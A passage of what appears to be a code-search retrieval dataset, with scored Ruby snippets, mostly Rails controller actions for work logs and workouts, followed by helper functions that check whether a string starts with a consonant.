"text": "def show\n @work_log = WorkLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work_log }\n end\n end",
"title": ""
},
{
"docid": "37e2a8828285d2290a7cb329c217bf67",
"score": "0.63035727",
"text": "def index\n @journal = Journal.find(params[:journal_id])\n\n render json: @journal.workouts\n end",
"title": ""
},
{
"docid": "29b52b5bae5c0a8fbb04955905916302",
"score": "0.62431294",
"text": "def index\n if params[:workpoint_id]\n @outs = Workpoint.find(params[:workpoint_id]).outs\n else\n @outs = Out.all\n end\n respond_to do |format|\n format.json {\n render :json => @outs, :layout => false\n }\n end\n end",
"title": ""
},
{
"docid": "b1c84692409f67ddc32deb5ccfb0a0c8",
"score": "0.6165278",
"text": "def index\n @work_logs = WorkLog.active\n end",
"title": ""
},
{
"docid": "662ef008aeafee03f6d9759aeac29b34",
"score": "0.60843366",
"text": "def update\n respond_to do |format|\n if @workout_logging.update(workout_logging_params)\n format.html { redirect_to @workout_logging, notice: 'Workout logging was successfully updated.' }\n format.json { render :show, status: :ok, location: @workout_logging }\n else\n format.html { render :edit }\n format.json { render json: @workout_logging.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6f0eedc53584d849fafff25f8d2860ce",
"score": "0.60728437",
"text": "def new\n @work_log = WorkLog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work_log }\n end\n end",
"title": ""
},
{
"docid": "0122a0db5d9b8d8db25d1c47fd22f49a",
"score": "0.60704505",
"text": "def index\n @workouts = Workout.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workouts }\n end\n end",
"title": ""
},
{
"docid": "6a14fd6eca15598d64621b0641b762f2",
"score": "0.5997732",
"text": "def index\n @workouts = Workout.all \n render 'index.json.jbuilder', status: :created\n end",
"title": ""
},
{
"docid": "3af2a448b1f3be806c7090cf8d6037f4",
"score": "0.5938379",
"text": "def workLogs(username=@username, dateFrom=nil, dateTo=nil, project=nil)\n q = {:username => username}\n q[:dateFrom] = DateTime.parse(dateFrom).to_date.iso8601 unless dateFrom.nil?\n q[:dateTo] = DateTime.parse(dateTo).to_date.iso8601 unless dateTo.nil?\n q[:projectKey] = project unless project.nil?\n #q[:accountKey]\n #q[:teamId]\n\n verbose \"Fetching worklogs for #{q}\"\n get('worklogs', q)\n end",
"title": ""
},
{
"docid": "4662fef69c7e70899580140c8a97a1b0",
"score": "0.58906204",
"text": "def index\n @log_items = @goal.log_items\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @log_items }\n end\n end",
"title": ""
},
{
"docid": "7cce7b23384338d0292b5ba384cdc6b5",
"score": "0.5861475",
"text": "def index\n @wr_logs = WrLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wr_logs }\n end\n end",
"title": ""
},
{
"docid": "881d7a0b88f4b1ca86c4fccede49dd04",
"score": "0.58361083",
"text": "def index\n @hour_logs = HourLog.all\n render json: @hour_logs, status: 200\n end",
"title": ""
},
{
"docid": "b0aec7fdbfecdc66f1900b9d53430d13",
"score": "0.58105826",
"text": "def get_work_json\n client.make_request('/get-work-json', 'post', params: {})\n end",
"title": ""
},
{
"docid": "3ed429b2fec4a7e2a6889e075810e180",
"score": "0.57774144",
"text": "def show\n #@workout = Workout.find_by_user_id(current_user)\n @workout = Workout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workout }\n end\n rescue ActiveRecord::RecordNotFound\n flash[:notice] = \"No workouts entered for this day\"\n redirect_to :back\n end",
"title": ""
},
{
"docid": "c60265fa2bc700d23f8f5c1e255b6194",
"score": "0.5776074",
"text": "def index\n @user_workouts = UserWorkout.all\n end",
"title": ""
},
{
"docid": "f2d05a178711345d68e54ca97c9850a2",
"score": "0.5770541",
"text": "def show\n @server = Server.find(params[:server_id])\n @httping_log = @server.httping_logs.find(params[:id])\n\n respond_to do |format|\n format.html { render :show, layout: false } # show.html.erb\n format.json { render json: @httping_log }\n end\n end",
"title": ""
},
{
"docid": "3d24bc56c1c9065f673531866b1f7721",
"score": "0.57498515",
"text": "def index\n @server_monitor_logs = ServerMonitorLog.fetch_log(params) \n end",
"title": ""
},
{
"docid": "2eccbcaddc55bff4a95b75aec249e279",
"score": "0.57353085",
"text": "def index\n @workouts = current_user.workouts\n end",
"title": ""
},
{
"docid": "def6ffa976e0661c1cd6e1b154e7f38a",
"score": "0.5727854",
"text": "def index\n @interaction_logs = InteractionLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @interaction_logs }\n end\n end",
"title": ""
},
{
"docid": "9ebe84e935e5a51d948b3008560e69f8",
"score": "0.5723275",
"text": "def index\n @workouts = Workout.all\n end",
"title": ""
},
{
"docid": "7c52927d5d70c78fc92f262fe81907ab",
"score": "0.57009065",
"text": "def index\n @logs = @goal.logs.order('log_date DESC')\n @log = Log.new\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @logs }\n end\n end",
"title": ""
},
{
"docid": "85385e2c7a48f431c5403d83b43d6330",
"score": "0.5694823",
"text": "def destroy\n @workout_logging.destroy\n respond_to do |format|\n format.html { redirect_to workout_loggings_url, notice: 'Workout logging was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "37bc8f74a7087c746e76ca9030f9d90a",
"score": "0.56751406",
"text": "def get_copy_jobs_logs(bookmark = '', page_size = 0, source_org_unit_id = 0,\n destination_org_unit_id = 0, start_date = '', end_date = '')\n # GET /d2l/api/le/(version)/ccb/logs\nend",
"title": ""
},
{
"docid": "5d192c0285bb314cf61bbdabf5744870",
"score": "0.561487",
"text": "def index\n @title = 'Workout Records'\n @workout_records = current_user.workout_records.find(:all, :order => 'date_performed')\n end",
"title": ""
},
{
"docid": "2e62ad4fe39c6c1e3928b7aab970ac76",
"score": "0.5596058",
"text": "def show\n @workout_activity = WorkoutActivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workout_activity }\n end\n end",
"title": ""
},
{
"docid": "7a0c3eafadeb50ad7e4791a24f9afad7",
"score": "0.5577183",
"text": "def index\n @clientworkouts = Clientworkout.all\n end",
"title": ""
},
{
"docid": "e769fa2dd91527983dabeee9e7ae6a6c",
"score": "0.55490696",
"text": "def create\n @work_log = WorkLog.new(params[:work_log])\n\n respond_to do |format|\n if @work_log.save\n format.html { redirect_to @work_log, notice: 'Work log was successfully created.' }\n format.json { render json: @work_log, status: :created, location: @work_log }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work_log.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "207dabf2ebe89596203bf35acf67d2f0",
"score": "0.5519566",
"text": "def index\n @works = Work.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @works }\n end\n end",
"title": ""
},
{
"docid": "207dabf2ebe89596203bf35acf67d2f0",
"score": "0.5519566",
"text": "def index\n @works = Work.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @works }\n end\n end",
"title": ""
},
{
"docid": "c17f21a170b8330b65ec98690611bc63",
"score": "0.55087155",
"text": "def index\n @workout_days = WorkoutDay.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workout_days }\n end\n end",
"title": ""
},
{
"docid": "4e63e274f41760f045f11db2cb528b9e",
"score": "0.550784",
"text": "def get_work\n client.make_request('/get-work', 'post', params: {})\n end",
"title": ""
},
{
"docid": "16ce6f9e887e3ab0e7a80456ec282994",
"score": "0.5487912",
"text": "def set_work_log\n @work_log = WorkLog.find(params[:id])\n end",
"title": ""
},
{
"docid": "a37bb27263ab260818e709751bbd46d7",
"score": "0.54729164",
"text": "def index\n streaks = Streak.active.all\n render_jsonapi(streaks)\n end",
"title": ""
},
{
"docid": "db7c961aed4b469730c3c79c5584844d",
"score": "0.5464789",
"text": "def index\n @logs = Log\n .order(start_time: :desc)\n .limit(100)\n .offset(params[:offset])\n\n render json: @logs\n end",
"title": ""
},
{
"docid": "2ac80b119cff17877514a72115da782d",
"score": "0.5453628",
"text": "def log\n @client.get(\"#{path}/log\")\n end",
"title": ""
},
{
"docid": "5a9de85df6e117e3749bf3817ff16ad1",
"score": "0.54517126",
"text": "def recent_foods\n get(\"/user/#{@user_id}/foods/log/recent.json\")\n end",
"title": ""
},
{
"docid": "cff1973f3a48f46704371057129e7779",
"score": "0.54488546",
"text": "def index\n @link_name = \"horas\"\n @time_work = TimeWork.new\n @time_works = TimeWork.all_by_user_session user_web\n\n respond_to do |format|\n respond_msg\n format.html # index.html.erb\n format.json { render json: {time_works: @time_works, time_work: @time_work} }\n end\n end",
"title": ""
},
{
"docid": "d8475f5d2efa597b8ebe336281576f1c",
"score": "0.5426243",
"text": "def show\n @signout_log = SignoutLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @signout_log }\n end\n end",
"title": ""
},
{
"docid": "4eece7250d6561d9579e045536fdb166",
"score": "0.53990024",
"text": "def index\n # if cannot? :index, Workout\n # redirect_to root_path,\n # notice: 'Unauthorized to view all workouts' and return\n # end\n @workouts = Workout.where(is_public: true)\n @gym = []\n end",
"title": ""
},
{
"docid": "9239035dd61578a2fd481f956e909f2e",
"score": "0.53987294",
"text": "def index\n @weight_logs = current_user.weight_logs.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @weight_logs }\n end\n end",
"title": ""
},
{
"docid": "99e78e6c3631e3722be26632c5e7d4b3",
"score": "0.53885114",
"text": "def last_workout_date\n workout_date_log = Hash.new\n date = self.exercise_instances.map do |workout|\n workout.date\n end.sort.last\n users = self.find_all_gym_users.last\n \"#{users} : #{date}\"\n\n\n end",
"title": ""
},
{
"docid": "9003c04d429c835285f6f2e6e88fee96",
"score": "0.53853005",
"text": "def get_logger_tickets\n @tickets = Ticket.find_all_by_job_id_and_paid_to_logger(params[:id], false, :order => \"number\")\n render \"get_tickets.html.erb\"\n end",
"title": ""
},
{
"docid": "14ed0af8afd0927e75675c837fe5db07",
"score": "0.5382338",
"text": "def index\n @d_loggers = DLogger.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @d_loggers }\n end\n end",
"title": ""
},
{
"docid": "1d472c1ba4e2a3d28437dd5cc22ab388",
"score": "0.53817886",
"text": "def index\n @web_service_logs = WebServiceLog.limit(20).order(\"id desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @web_service_logs }\n end\n end",
"title": ""
},
{
"docid": "3390f513cffeb18040e8ea4fe88a2366",
"score": "0.53549606",
"text": "def all\n if params[:id] != nil\n id = params[:id]\n @workout = Workout.find_by_id(id)\n end\n \n totals = Workout.find(:first, :select => 'sum(workout_length) as total_mins, count(*) as total_count')\n @total_mins = totals.total_mins\n @total_count = totals.total_count\n @workouts = Workout.find(:all, :limit => 50, :order => 'workout_date desc, created_at desc')\n \n end",
"title": ""
},
{
"docid": "e8aba972caa16c0541e143140909c4ad",
"score": "0.5349983",
"text": "def index\n @ncr_api_logs = NcrApiLog.all\n end",
"title": ""
},
{
"docid": "830987924b00a897fcf1a5ca7d8d0392",
"score": "0.5342976",
"text": "def index\n @deployment_logs = DeploymentLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @deployment_logs }\n end\n end",
"title": ""
},
{
"docid": "b7bd78ab13a18b7ac0692ebdc359fbc6",
"score": "0.5324111",
"text": "def get_log\n SimpleWorker.service.log(task_id)\n end",
"title": ""
},
{
"docid": "b11257c409da2b2b61fe8f48ef6d7b4e",
"score": "0.5321407",
"text": "def show\n if @workout.private and @workout.owner != current_user\n redirect_to :back, alert: \"Private workout, access denied.\"\n end\n\n respond_to do |format|\n format.json { render json: {workout: @workout, exercises: @workout.exercises.select(\"id, name, dur, cat\")}, status: 200 }\n format.html\n end\n end",
"title": ""
},
{
"docid": "028e85df5a5b72be84e8fa0190c29c55",
"score": "0.5312069",
"text": "def show\n @steps_log = StepsLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @steps_log }\n end\n end",
"title": ""
},
{
"docid": "0625c2433416f3ae2b7e99edc516dd29",
"score": "0.53093827",
"text": "def show\n @workout = Workout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workout }\n end\n end",
"title": ""
},
{
"docid": "66900db2440f1c9f4e089d4d9401fb2c",
"score": "0.52993923",
"text": "def show\n @myworkout = Myworkout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @myworkout }\n end\n end",
"title": ""
},
{
"docid": "ca0118ae970e74ad67791bed604b8d1e",
"score": "0.52919537",
"text": "def show\n @client_workout = ClientWorkout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client_workout }\n end\n end",
"title": ""
},
{
"docid": "f3ef88cca3e4f94be6439983a56d0d44",
"score": "0.52617955",
"text": "def index\n @log_ins = LogIn.all\n end",
"title": ""
},
{
"docid": "487c42def6fcd0de2ab008ac352311f3",
"score": "0.5250869",
"text": "def workout_logging_params\n params.require(:workout_logging).permit(:date, :dailyHeartRate, :float, :hourlyHeartRate, :float, :height, :weight, :steps, :lightlyActiveminutes, :fairlyActiveminutes, :veryActiveminutes, :activityCalories, :sleepStartTime, :sleepEndTime)\n end",
"title": ""
},
{
"docid": "d17d005f09d72de3677a51d5fe2c9c39",
"score": "0.5243865",
"text": "def show\n @gym_workout = GymWorkout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @gym_workout }\n end\n end",
"title": ""
},
{
"docid": "0601fa45ef8a42c4369e5b99e382e5c1",
"score": "0.52288836",
"text": "def show\n if current_user.present?\n #@work_dashboard = Work::Dashboard.find(params[:id])\n @worked_list = Setting.version_mod.split(' ')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work_dashboard }\n end\n end\n end",
"title": ""
},
{
"docid": "a83b9d53675a1c44d14cac6bcb7cb5ad",
"score": "0.5227164",
"text": "def index\n if params[:type].try!(:downcase) == 'watched'\n watches = current_user.watches.order('created_at DESC').includes(bug: [{environment: :project}, :assigned_user]).limit(PER_PAGE)\n last = params[:last].present? ? current_user.watches.joins(:bug).where(bug_id: params[:last]).first : nil\n watches = watches.where(infinite_scroll_clause('created_at', 'DESC', last, 'watches.bug_id')) if last\n @bugs = watches.map(&:bug)\n else\n @bugs = current_user.assigned_bugs.order('latest_occurrence DESC, bugs.number DESC').limit(PER_PAGE).includes(:assigned_user, environment: :project)\n last = params[:last].present? ? current_user.assigned_bugs.find_by_number(params[:last]) : nil\n @bugs = @bugs.where(infinite_scroll_clause('latest_occurrence', 'DESC', last, 'bugs.number')) if last\n end\n\n respond_with decorate(@bugs)\n end",
"title": ""
},
{
"docid": "348956d259563fdc667994e1969d2a71",
"score": "0.5224555",
"text": "def show\n render json: @log\n end",
"title": ""
},
{
"docid": "5a02ccf4894962217a2a751bd93eb816",
"score": "0.52221525",
"text": "def my\n if self.current_user == nil\n redirect_to \"/account/login\"\n end\n condition = ['user_profile_id = :user_profile_id', { :user_profile_id => self.current_user.id }]\n id = params[:id] != nil ? params[:id] : Workout.find(:first, :select => 'max(id) as last_id', :conditions => condition).last_id\n @workout = Workout.find_by_id(id, condition)\n\n totals = Workout.find(:first, :select => 'sum(workout_length) as total_mins, count(*) as total_count', :conditions => condition)\n @total_mins = totals.total_mins\n @total_count = totals.total_count\n\n @workouts = Workout.find(:all, :conditions => condition, :limit => 50, :order => 'workout_date desc, created_at desc') \n end",
"title": ""
},
{
"docid": "b743ab232382c0a1ebd288c8b980a002",
"score": "0.5217822",
"text": "def index\n @workshops = Workshop.past\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workshops }\n end\n end",
"title": ""
},
{
"docid": "bd7d96d83280bcf2228a53f493cfaa6b",
"score": "0.52055544",
"text": "def logs(app_name)\n\t\tget(\"/apps/#{app_name}/logs\")\n\tend",
"title": ""
},
{
"docid": "497502595ac579f82592e8f928821710",
"score": "0.5204324",
"text": "def index\n if params[:employee_id].present?\n @employee = Employee.find(params[:employee_id])\n @work_histories = @employee.work_histories\n skip_authorization\n else\n @work_histories = WorkHistory.all\n skip_authorization\n end\n end",
"title": ""
},
{
"docid": "eb1ff67048f3e06b24223e2f66e005cd",
"score": "0.519982",
"text": "def index\n @issues = Issue.where({assignee: current_user.github_username})\n\n render json: @issues\n end",
"title": ""
},
{
"docid": "b67e3a9aeb2d8adec0b26c294c84974c",
"score": "0.5195296",
"text": "def job_log(organization, jobid)\n uri = server_uri(\"/organizations/#{organization}/jobs/#{jobid}/log\")\n res_data = api_get(uri)\n @logger.debug res_data\n\n return res_data\n end",
"title": ""
},
{
"docid": "238c9fea62e6a28d1c8587262e7d1283",
"score": "0.5187774",
"text": "def create\n @work_log = WorkLog.new(work_log_params)\n @work_log.user_id = current_user.id\n @work_log.minutes = params[:work_log][:hours].to_i*60+params[:work_log][:mins].to_i\n unless params[:date].present?\n @date = Date.today\n else\n @date = params[:date].to_date\n end\n @entries = current_user.assignments.where('tasks.start_date <= ? && tasks.end_date >= ?', @date.end_of_day, @date.beginning_of_day)\n @date = params[:date].present? ? params[:date].to_date : Date.today\n @hours = @work_log.minutes.to_i/60\n @mins = @work_log.minutes.to_i%60\n respond_to do |format|\n if @work_log.save\n format.html { redirect_to @work_log, notice: 'Work log was successfully created.' }\n format.json { render action: 'show', status: :created, location: @work_log }\n format.js { render :layout => false }\n else\n format.js { render :layout => false }\n format.html { render action: 'new' }\n format.json { render json: @work_log.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "343cdc3f961c4aea9f8de04e9de2dc91",
"score": "0.5175949",
"text": "def new\n @signout_log = SignoutLog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @signout_log }\n end\n end",
"title": ""
},
{
"docid": "0f57e668775b3854e4a2ba4f799ab1fa",
"score": "0.51652694",
"text": "def new\n @workout_activity = WorkoutActivity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workout_activity }\n end\n end",
"title": ""
},
{
"docid": "45473ed0174ab0d4f4ccc81dc792d615",
"score": "0.516088",
"text": "def index_create\n @workouts = Workout.where(creator_id: current_athlete.id)\n render 'index_create.json.jbuilder', status: :created\n end",
"title": ""
},
{
"docid": "73622440a87425c8224cc97b27c5f07c",
"score": "0.51606905",
"text": "def show\n @web_service_log = WebServiceLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @web_service_log }\n end\n end",
"title": ""
},
{
"docid": "17ba202739b40ac9776795d06178ebc9",
"score": "0.5157971",
"text": "def index\n @issue_watches = IssueWatch.all\n end",
"title": ""
},
{
"docid": "e2bd21b1a251e5ee0114e30af85b3f26",
"score": "0.5156868",
"text": "def index\n @game_watches = GameWatch.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @game_watches }\n end\n end",
"title": ""
},
{
"docid": "92096b7ef3b7213fdbc51e62994d308d",
"score": "0.5150432",
"text": "def getIngest_logBy_job_id( job_id, success, errors, limit, skip)\n params = Hash.new\n params['job_id'] = job_id\n params['success'] = success\n params['errors'] = errors\n params['limit'] = limit\n params['skip'] = skip\n return doCurl(\"get\",\"/ingest_log/by_job_id\",params)\n end",
"title": ""
},
{
"docid": "288a55ec28793275ee9e8edaeb97611d",
"score": "0.5146197",
"text": "def index\n @my_posted_homeworks = MyPostedHomework.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_posted_homeworks }\n end\n end",
"title": ""
},
{
"docid": "db31217f1a40688349c0dc831151ee26",
"score": "0.51436496",
"text": "def index\n @steplogs = Steplog.all\n end",
"title": ""
},
{
"docid": "d17da20eecbc6e6d8122538f05c5e9fc",
"score": "0.5139666",
"text": "def new\n #@workout = Workout.new\n @workout = current_user.workouts.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workout }\n end\n end",
"title": ""
},
{
"docid": "a76754c321889751c449fa24558dbf4f",
"score": "0.51360244",
"text": "def index\n unless current_user and current_user.admin? \n redirect_to \"/\", :alert => \"Access Denied.\"\n end\n @workouts = Workout.all\n end",
"title": ""
},
{
"docid": "f767687194da088a62fc4195603f9c0d",
"score": "0.51250273",
"text": "def index\n # HACK - deleting older logs\n\n #Added in cronjob\n # NotificationLog.delete_old_logs\n\n if current_user.is? :super_admin\n @notification_logs = NotificationLog.order(\"date DESC\")\n else\n @notification_logs = current_user.notification_logs.where(\"date > ? AND disabled = ?\", (Time.zone.now - 1.month.from_now), false).order(\"date DESC\").all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notification_logs }\n end\n end",
"title": ""
},
{
"docid": "e2d0fd232469afe2df3a5b68e5ecd5bd",
"score": "0.5122867",
"text": "def render_json_works_response( status, works = [], message = nil )\n render json: API::WorkListResponse.new( status, works, message ), :status => status\n end",
"title": ""
},
{
"docid": "aa59c83e73b70bc2948c443f303a6d32",
"score": "0.5120568",
"text": "def ingest_only\n @works = Work.ingest_only\n render :index\n end",
"title": ""
},
{
"docid": "8b83b723901b770b549bdb6af320ef3e",
"score": "0.5120004",
"text": "def all_works\n #start = numeric( params[:start], DEFAULT_START )\n #limit = numeric( params[:limit], DEFAULT_LIMIT )\n\n works = batched_get( {} )\n respond_to do |format|\n format.json do\n if works.empty?\n render_json_works_response(:not_found )\n else\n # dont provide fileset information here, it takes too long and we just want work information\n render_json_works_response(:ok, work_transform( works, EXCLUDE_FILESETS ) )\n end\n end\n format.csv do\n # provide fileset information here because this is used for work export\n render_csv_works_response( work_transform( works, INCLUDE_FILESETS ) )\n end\n end\n\n end",
"title": ""
},
{
"docid": "447917c67bc8bb1142021356d67327f1",
"score": "0.51188135",
"text": "def index\n @work_results = WorkResult.all\n end",
"title": ""
},
{
"docid": "68eca15df24e36f74012186272153f5a",
"score": "0.5112024",
"text": "def show\n\tLogger.log current_user\n @worker = Worker.find(params[:id])\n render json: @worker\nend",
"title": ""
},
{
"docid": "4365791a5fab91e8417f718dfa41509a",
"score": "0.51078576",
"text": "def index\n\n # render :json => users.to_json(include: :reports)\n\n reports = current_user.reports\n # render :json => reports\n\n render :json => reports.to_json(include: :inputs)\n end",
"title": ""
},
{
"docid": "7cadd445e29f00b01b7d8c2eb3738143",
"score": "0.5104943",
"text": "def index\n @workouts = Workout.where(user_id: current_user).order(\"created_at desc\").paginate(:page => params[:page], :per_page => 10)\n @workouts_all_length = Workout.where(user_id: current_user).sum(:workout_length)\n end",
"title": ""
},
{
"docid": "ac070e42beff0196e51162014962804c",
"score": "0.5098644",
"text": "def show\n @interaction_log = InteractionLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @interaction_log }\n end\n end",
"title": ""
},
{
"docid": "6c64566c1b9986c7ba9a6097ea9c23be",
"score": "0.5097038",
"text": "def index\n @rjlogs = Rjlog.all\n end",
"title": ""
},
{
"docid": "e5a2673d174cc6b6d129c6edfb2c223d",
"score": "0.50940317",
"text": "def index\n @commits = @project.repo.log(10)\n respond_with @commits\n end",
"title": ""
},
{
"docid": "867859e0330fb72877cef4fc57d4e725",
"score": "0.50844014",
"text": "def index\n works = Work.where(doctor_id: current_user.doctor.id)\n @workhours = Workhour.where(work_id: works.pluck(:id))\n end",
"title": ""
},
{
"docid": "e113ff1331cb8fdfff201461b011e08b",
"score": "0.50838184",
"text": "def show\n @workout_session = WorkoutSession.find(params[:id])\n if !user_is_allowed?(@workout_session)\n redirect_to workout_sessions_path\n return\n end\n\n exercises = @workout_session.exercises\n exerciseWorkoutThrills = @workout_session.exercises_workout_thrills\n\n @exerciseList = Hash.new\n exercises.each do |e|\n if !@exerciseList.has_key?(e)\n @exerciseList[e] = []\n end\n end\n exerciseWorkoutThrills.each do |ewt|\n @exerciseList[ewt.exercise] << {:id => ewt.id, :multiplier => ewt.multiplier, :value => ewt.value}\n end\n\n #render :text => @exerciseList.as_json.to_s, :layout => false\n #return\n\n #if @workout_session.workout_day.nil?\n # @day = \"No Training Day in WorkOut Session\"\n # else\n # @day = @workout_session.workout_day.day\n #end\n\n\n #@exercises = []\n #exerciseWorkoutThrills.each do |e|\n # @exercises << {:e => e.exercise, :id => e.id, :value => e.value, :multiplier => e.multiplier}\n #end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workout_session }\n end\n end",
"title": ""
},
{
"docid": "d45b743d84f93138273c49a85e013793",
"score": "0.5080557",
"text": "def index\n @user = current_user;\n @toeic_logs = ToeicLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @toeic_logs }\n end\n end",
"title": ""
},
{
"docid": "5c5425605e1e3dfb0b5ea090e3ef47e7",
"score": "0.5080334",
"text": "def last_projects_report\n\t\trender json: Task.find(params[:id]).last_projects_report\n\tend",
"title": ""
},
{
"docid": "167650bf2cb7ba0fc7e055e1966d3708",
"score": "0.5076133",
"text": "def index\n @work_merge_lists = WorkMergeList.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @work_merge_lists }\n end\n end",
"title": ""
},
{
"docid": "6e1c8b3ce32d68597a5e4cd11b19fa6e",
"score": "0.50750214",
"text": "def index\n @jobs = current_user.works\n end",
"title": ""
},
{
"docid": "1208836523df851d5eb578367b7b5d31",
"score": "0.5074619",
"text": "def show\n @work_activity = WorkActivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work_activity }\n end\n end",
"title": ""
},
{
"docid": "720e3f203c6ac52f2e7f8274c22ed421",
"score": "0.5073904",
"text": "def index\n @user_logs = UserLog.paginate(:page => params[:page], :per_page => 30).order('created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_logs }\n end\n end",
"title": ""
}
] |
604fba739e3bde6ca13dfdf11e6c2dda
|
checks first character for 1. letter, 2. consonant
|
[
{
"docid": "7390e171fc00feb959cb3ae0d7f46992",
"score": "0.7742007",
"text": "def starts_with_consonant?(s)\n\ts.downcase!\n\tletter = /[a-z]/.match(s.chr) != nil\n\tconsonant = /[^aeiou]/.match(s.chr) != nil\n\treturn letter && consonant\nend",
"title": ""
}
] |
[
{
"docid": "f01d20f0dc15fe736fca577e3abf1f91",
"score": "0.8271667",
"text": "def starts_with_consonant? s\n if (s == nil) or (s == '')\n return false\n\tend\n\n stringeroni = s.to_s\n lowString = stringeroni.downcase\n charArray = lowString.split('') # turn it into a char array\n first = charArray[0]\n\n\t# Determines if first character is indeed a letter.\n\tif not (first =~ /[A-Za-z]/)\n\t\treturn false\n\tend\n\n if (first == 'a') or (first == 'e') or (first == 'i') or (first == 'o') or (first == 'u')\n return false\n\tend\n\n return true\nend",
"title": ""
},
{
"docid": "a33143d1a35ddbe3f95031ddd241df01",
"score": "0.8229066",
"text": "def is_consonant?(char)\n ('a'..'z').include?(char.downcase) && !%w(a e i o u).include?(char)\nend",
"title": ""
},
{
"docid": "fef91dde8d7e48dd016b61dee00d69db",
"score": "0.810352",
"text": "def is_consonant(input_letter)\n \n if input_letter.size > 1 then \n puts \"Warning (in is_consonant): the input should be a single letter. \\n\"\n end \n \n return (\"bcdfghjklmnpqrstvwxyz\".include?(input_letter.downcase))\nend",
"title": ""
},
{
"docid": "69263b646c2e94a77490f815a6fb58fd",
"score": "0.8076034",
"text": "def starts_with_consonant? s\n \n if s.empty?\n return false\n end \n \n s = s.downcase\n \n if s[0] == \"a\" or s[0] == \"e\" or s[0] == \"i\" or s[0] == \"o\" or s[0] == \"u\" \n return false\n elsif s[0, 1] =~ /[[:alpha:]]/\n return true\n end\n \nend",
"title": ""
},
{
"docid": "a338eb33d70f1c7ff6d272f04fee6a1d",
"score": "0.80338615",
"text": "def starts_with_consonant? s\n # sanity check\n if s.empty?\n return false\n end\n \n # get the first letter\n _initial = s[0].downcase\n \n # check\n if _initial < 'a' || _initial > 'z'\n return false\n end\n \n return !VOWEL.include?(_initial)\nend",
"title": ""
},
{
"docid": "06efadb1d159fe05b74233b896c0ff39",
"score": "0.7921503",
"text": "def consonant?(letter)\n\t\"bcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ\".include?(letter)\nend",
"title": ""
},
{
"docid": "f2bc674effca8918deac3f9181beecde",
"score": "0.7918992",
"text": "def starts_with_consonant? s\n a = s.downcase\n if a[0,1] == 'a' || a[0,1] == 'e' || a[0,1] == 'i' || a[0,1] == 'o' || a[0,1] == 'u' \n return false\n else \n return true\n end\nend",
"title": ""
},
{
"docid": "11a710665a0ce5a06db04e9b2404d134",
"score": "0.7862659",
"text": "def starts_with_consonant?(s)\n temp = s.downcase\n return false unless (/[a-z]/ === temp[0])\n return true unless (/[a,e,i,o,u]/ === temp[0])\n return false\nend",
"title": ""
},
{
"docid": "7a27ffdf7faf29091fd7d051aae258cd",
"score": "0.7860762",
"text": "def starts_with_consonant? s\n \tif s.empty?\n\t\treturn false\n\tend\n\ts = s.downcase\n\treturn (s[0]=~/[bcdfghjklmnprstvwxyz]/)\nend",
"title": ""
},
{
"docid": "1e6f9d7f772fd3ad59062b8e2991e128",
"score": "0.7833378",
"text": "def consonant?(char)\n char.match(/[bcdfghjklmnpqrstvwxyz]/i) ? true : false\nend",
"title": ""
},
{
"docid": "07c2124bd3956cfe453d9c25e1213360",
"score": "0.7790946",
"text": "def starts_with_consonant?(s)\n if s.empty? || s =~ /[^[:alpha:]]/\n false\n else\n s !~ /^(a|e|i|o|u).*/i\n end\nend",
"title": ""
},
{
"docid": "1e3fa51eaacd527b7d19d783565bd160",
"score": "0.7782227",
